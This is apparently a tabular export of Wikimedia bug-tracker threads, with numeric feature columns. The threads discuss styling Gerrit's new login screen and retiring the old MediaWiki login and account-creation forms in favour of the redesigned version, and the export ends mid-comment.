QUOTE
QUOTE

Depending on what context you want it to be used, eg: central place for userpages, You wouldn't need many extensions that are outside the group thats defaultly enabled. 

QUOTE

We do this by default these days iirc, Or at least tim has coded it."
48700,New login screen is ugly,"The new login screen for Gerrit 2.6-rc0-76-g52fb5ae is unstyled and ugly.

--------------------------
**Version**: wmf-deployment
**Severity**: major",High,80.0,1364580600,1365109428.0,PHID-USER-oetk6bbl6omm354ejz3b,False,,False,PHID-TASK-ep3bdm6pdpnvsoetj6ph,task_description,resolved,True,c2,1,True,False,True,-22,True,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6052631578947367,0.6842105263157895,"The new login screen for Gerrit 2.6-rc0-76-g52fb5ae is unstyled and ugly.

--------------------------
**Version**: wmf-deployment
**Severity**: major"
219407,New login screen is ugly,And we're got this live. Much better now :),,,1365109428,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ep3bdm6pdpnvsoetj6ph,task_subcomment,,True,c2,1,True,,,-21,True,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.1818181818181817,1.0,And we're got this live. Much better now :)
219400,New login screen is ugly,"Gerrit upstream commits went in via the detour of the “stable-2.6” branch:
https://gerrit-review.googlesource.com/#/c/44131/
https://gerrit-review.googlesource.com/#/c/44132/",,,1365069108,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-ep3bdm6pdpnvsoetj6ph,task_subcomment,,True,c2,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.736842105263158,0.8421052631578947,"Gerrit upstream commits went in via the detour of the “stable-2.6” branch:
URL
URL"
219392,New login screen is ugly,"Gerrit does not allow to style that page yet.

The upstream commit to include the site's css is at:
https://gerrit-review.googlesource.com/#/c/44091/

The patch to make our default gerrit header look nice is at:
https://gerrit-review.googlesource.com/#/c/44092/

Once those have been merged, patches for our downstream adaption for
the LDAP login page are at:
https://gerrit.wikimedia.org/r/#/c/56705
https://gerrit.wikimedia.org/r/#/c/56706",,,1364598344,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-ep3bdm6pdpnvsoetj6ph,task_subcomment,,True,c2,1,False,,,-22,True,0.0,0.0,0.0,2.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,14.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.515151515151515,0.6818181818181818,"Gerrit does not allow to style that page yet.

The upstream commit to include the site's css is at:
URL

The patch to make our default gerrit header look nice is at:
URL

Once those have been merged, patches for our downstream adaption for
the LDAP login page are at:
URL
URL"
48333,Make new user login/account creation the only version after testing and MW namespace cleanup,"The account creation (ACUX) and user login changes in E3Experiments have been removed to core.  However, they only apply when a useAgora flag is in the URL.  This allows testing and MW message cleanup where necessary.

When this is done, useAgora should be removed and Agora made the only version.

--------------------------
**Version**: 1.21.x
**Severity**: normal",High,80.0,1363719780,1379900275.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_description,resolved,True,c2,1,False,False,True,-24,True,0.0,0.0,0.0,4.0,0.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,5.0,14.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,6.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7088607594936709,"The account creation (ACUX) and user login changes in E3Experiments have been removed to core.  However, they only apply when a useAgora flag is in the URL.  This allows testing and MW message cleanup where necessary.

When this is done, useAgora should be removed and Agora made the only version.

--------------------------
**Version**: 1.21.x
**Severity**: normal"
221294,Make new user login/account creation the only version after testing and MW namespace cleanup,"Yes, thanks.  it was fixed when https://gerrit.wikimedia.org/r/#/c/67233/ was merged.  The config patch removes dead code.",,,1379900275,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.8095238095238095,"Yes, thanks.  it was fixed when URL was merged.  The config patch removes dead code."
221288,Make new user login/account creation the only version after testing and MW namespace cleanup,Is this bug now resolved/fixed?,,,1379872699,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Is this bug now resolved/fixed?
221282,Make new user login/account creation the only version after testing and MW namespace cleanup,"Change 81174 merged by jenkins-bot:
Remove unused UseVForm settings variables.

https://gerrit.wikimedia.org/r/81174",,,1379627207,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.823529411764706,1.0,"Change 81174 merged by jenkins-bot:
Remove unused UseVForm settings variables.

GERRIT_URL"
221277,Make new user login/account creation the only version after testing and MW namespace cleanup,"Change 81174 had a related patch set uploaded by Spage:
Remove unused UseVForm settings variables.

https://gerrit.wikimedia.org/r/81174",,,1377568439,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.85,1.0,"Change 81174 had a related patch set uploaded by Spage:
Remove unused UseVForm settings variables.

GERRIT_URL"
221271,Make new user login/account creation the only version after testing and MW namespace cleanup,Related URL: https://gerrit.wikimedia.org/r/67233 (Gerrit Change I50f25583c3aa9a4a263fb40f50256f92c18ddb4d),,,1370498143,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I50f25583c3aa9a4a263fb40f50256f92c18ddb4d)
221264,Make new user login/account creation the only version after testing and MW namespace cleanup,Related URL: https://gerrit.wikimedia.org/r/67182 (Gerrit Change I0c8115245ed93f15394ec97847fc97981c13306b),,,1370473701,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I0c8115245ed93f15394ec97847fc97981c13306b)
221259,Make new user login/account creation the only version after testing and MW namespace cleanup,"As part of this, we should consolidate the styles for these forms into resources/mediawiki.special.  Right now the new styles are there (if they're specific to login/create account), but there are old ones in skins/ (for example, the Monobook background color mentioned at https://bugzilla.wikimedia.org/show_bug.cgi?id=47698#c14).

We can still use skinStyles where appropriate.",,,1369856086,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,2.0,3.0,0.0,8.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,3.0,8.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,5.0,14.0,3.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.246153846153846,0.8307692307692308,"As part of this, we should consolidate the styles for these forms into resources/mediawiki.special.  Right now the new styles are there (if they're specific to login/create account), but there are old ones in skins/ (for example, the Monobook background color mentioned at URL

We can still use skinStyles where appropriate."
221255,Make new user login/account creation the only version after testing and MW namespace cleanup,Related URL: https://gerrit.wikimedia.org/r/65851 (Gerrit Change I47e1a93d69b2dd739071738a094ce82c34b46344),,,1369777179,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I47e1a93d69b2dd739071738a094ce82c34b46344)
221250,Make new user login/account creation the only version after testing and MW namespace cleanup,"**swalling** wrote:

(In reply to comment #12)
> We do have an open bug for possibly making the text color darker (bug 47777).
> 
> Making the languages bigger is possible.  But I wonder if
> UniversalLanguageSelector could provide a better approach than a huge list
> (currently it doesn't seem to work logged out).

The current plan is for ULS to be enabled much more widely: http://blog.wikimedia.org/2013/05/22/getting-ready-for-uls-everywhere-2/",,,1369438770,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,22.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.024390243902439,0.6585365853658537,"**swalling** wrote:

(In reply to comment #12)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The current plan is for ULS to be enabled much more widely: URL"
221246,Make new user login/account creation the only version after testing and MW namespace cleanup,"We do have an open bug for possibly making the text color darker (bug 47777).

Making the languages bigger is possible.  But I wonder if UniversalLanguageSelector could provide a better approach than a huge list (currently it doesn't seem to work logged out).",,,1369438665,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,9.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,6.0,9.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,4.0,4.0,0.0,0.0,4.113207547169812,0.8679245283018868,"We do have an open bug for possibly making the text color darker (bug 47777).

Making the languages bigger is possible.  But I wonder if UniversalLanguageSelector could provide a better approach than a huge list (currently it doesn't seem to work logged out)."
221242,Make new user login/account creation the only version after testing and MW namespace cleanup,"**swalling** wrote:

(In reply to comment #10)
> (In reply to comment #7)
> 
> > What browser are you using? Please file any and all bugs you want for
> > browser-specific flaws, and we'll do our best to address them. You'll need to
> > be more specific and constructive than ""crappy"". 
> 
> I think I already described this under your blog post on the WMF blog,
> Steven,
> so I'll resort to those two screenshots, which clearly show that the new
> login
> screen is a regression, not an improvement.

I think it's hardly clear. I think you disagree with the design direction taken, but that's not the same thing as a regression. From looking at your screenshot, I can say that it's as-designed, and that there are no browser-specific bugs as far as can be told from the screenshot. 

If you have a beef with the design choices made, we can go through those one by one, but this bug probably isn't the place. 

> 
> The 'old' login screen is much more usable for me as a regular user: the test
> for various languages is bigger, it uses a black font instead of a gray one,
> and does not leave a lot of empty space for whatever's supposed to be on the
> right side of the new login screen.
> 
> A definite plus of the new login page is that it provides a link to a help
> page, which the old version does not have—though I'm sure it's a matter of
> editing some system message, and it shouldn't be too hard to fix.",,,1369437452,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.5,1.0,1.5,0.5,0.0,0.0,0.5,3.0,0.5,0.0,0.5,0.5,2.0,0.0,4.5,8.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,5.0,1.0,1.0,2.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,10.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,2.0,14.5,2.0,2.0,6.5,0.0,0.0,0.0,0.5,2.5,0.0,2.0,0.0,5.0,8.5,9.5,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.3066666666666666,0.6133333333333333,"**swalling** wrote:

(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think it's hardly clear. I think you disagree with the design direction taken, but that's not the same thing as a regression. From looking at your screenshot, I can say that it's as-designed, and that there are no browser-specific bugs as far as can be told from the screenshot. 

If you have a beef with the design choices made, we can go through those one by one, but this bug probably isn't the place. 

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
221236,Make new user login/account creation the only version after testing and MW namespace cleanup,"(In reply to comment #7)

> What browser are you using? Please file any and all bugs you want for
> browser-specific flaws, and we'll do our best to address them. You'll need to
> be more specific and constructive than ""crappy"". 

I think I already described this under your blog post on the WMF blog, Steven, so I'll resort to those two screenshots, which clearly show that the new login screen is a regression, not an improvement.

The 'old' login screen is much more usable for me as a regular user: the test for various languages is bigger, it uses a black font instead of a gray one, and does not leave a lot of empty space for whatever's supposed to be on the right side of the new login screen.

A definite plus of the new login page is that it provides a link to a help page, which the old version does not have—though I'm sure it's a matter of editing some system message, and it shouldn't be too hard to fix.",,,1369437257,,PHID-USER-hxjysvdvogekpjub3nd3,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,1.0,0.0,0.0,0.0,2.5,9.0,3.0,0.0,0.5,0.0,1.5,2.5,0.0,0.0,0.0,2.5,0.0,5.5,12.5,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,7.0,1.5,2.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,16.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,10.0,3.5,6.0,2.0,1.0,13.0,0.0,0.0,0.0,0.5,4.0,0.0,1.5,0.0,5.5,12.5,1.5,0.0,1.0,0.0,5.5,0.0,1.5,5.5,0.5,0.5,1.0,0.0,0.0,3.4967168262653896,0.7133378932968536,"(In reply to comment #7)

QUOTE
QUOTE
QUOTE

I think I already described this under your blog post on the WMF blog, Steven, so I'll resort to those two screenshots, which clearly show that the new login screen is a regression, not an improvement.

The 'old' login screen is much more usable for me as a regular user: the test for various languages is bigger, it uses a black font instead of a gray one, and does not leave a lot of empty space for whatever's supposed to be on the right side of the new login screen.

A definite plus of the new login page is that it provides a link to a help page, which the old version does not have—though I'm sure it's a matter of editing some system message, and it shouldn't be too hard to fix."
221229,Make new user login/account creation the only version after testing and MW namespace cleanup,"Created attachment 12392
Screenshot of the new login page on Commons

**Attached**: {F10688}",,,1369436913,,PHID-USER-hxjysvdvogekpjub3nd3,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.8636363636363636,"Created attachment 12392
Screenshot of the new login page on Commons

**Attached**: {F10688}"
221222,Make new user login/account creation the only version after testing and MW namespace cleanup,"Created attachment 12391
Screenshot of the old login page on Commons

**Attached**: {F10687}",,,1369436894,,PHID-USER-hxjysvdvogekpjub3nd3,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.8636363636363636,"Created attachment 12391
Screenshot of the old login page on Commons

**Attached**: {F10687}"
221217,Make new user login/account creation the only version after testing and MW namespace cleanup,"**swalling** wrote:

(In reply to comment #6)
> Why did you decide/are you planning to remove it from core? I'd be perfectly
> happy with using &useNew=0 forever, as the new version looks absolutely
> crappy
> on my browser.

What browser are you using? Please file any and all bugs you want for browser-specific flaws, and we'll do our best to address them. You'll need to be more specific and constructive than ""crappy"". 

Maintaing multiple sets of i18n messages and styles forever is not something we're going to do. When the use of the version gated behind a URL parameter was submitted, we specifically committed to not leaving two forms in one codebase forever. Reviewers rightfully pointed out it is a messy, hackish approach to a redesign, and we only did it so that critical bugs and i18n issues could be tested in production pre-launch as the default.",,,1369434638,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,1.0,0.5,0.0,1.5,1.5,5.0,1.0,0.0,0.0,0.0,2.5,1.5,0.0,0.5,0.0,3.0,0.0,5.5,10.5,0.5,2.0,0.0,0.5,0.0,2.5,1.0,0.0,0.5,0.5,1.0,0.0,3.0,0.0,1.5,2.0,1.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.5,6.5,2.0,3.5,5.5,0.0,0.0,0.0,0.5,4.5,0.5,2.5,0.0,6.0,10.5,1.5,0.5,1.0,0.0,6.0,0.0,1.0,2.0,0.5,2.5,0.5,0.5,0.0,3.857142857142857,0.7402597402597403,"**swalling** wrote:

(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE

What browser are you using? Please file any and all bugs you want for browser-specific flaws, and we'll do our best to address them. You'll need to be more specific and constructive than ""crappy"". 

Maintaing multiple sets of i18n messages and styles forever is not something we're going to do. When the use of the version gated behind a URL parameter was submitted, we specifically committed to not leaving two forms in one codebase forever. Reviewers rightfully pointed out it is a messy, hackish approach to a redesign, and we only did it so that critical bugs and i18n issues could be tested in production pre-launch as the default."
221212,Make new user login/account creation the only version after testing and MW namespace cleanup,"Why did you decide/are you planning to remove it from core? I'd be perfectly happy with using &useNew=0 forever, as the new version looks absolutely crappy on my browser.",,,1369434302,,PHID-USER-hxjysvdvogekpjub3nd3,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,6.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,11.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,14.0,14.0,3.0,3.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.9444444444444446,0.9722222222222222,"Why did you decide/are you planning to remove it from core? I'd be perfectly happy with using &useNew=0 forever, as the 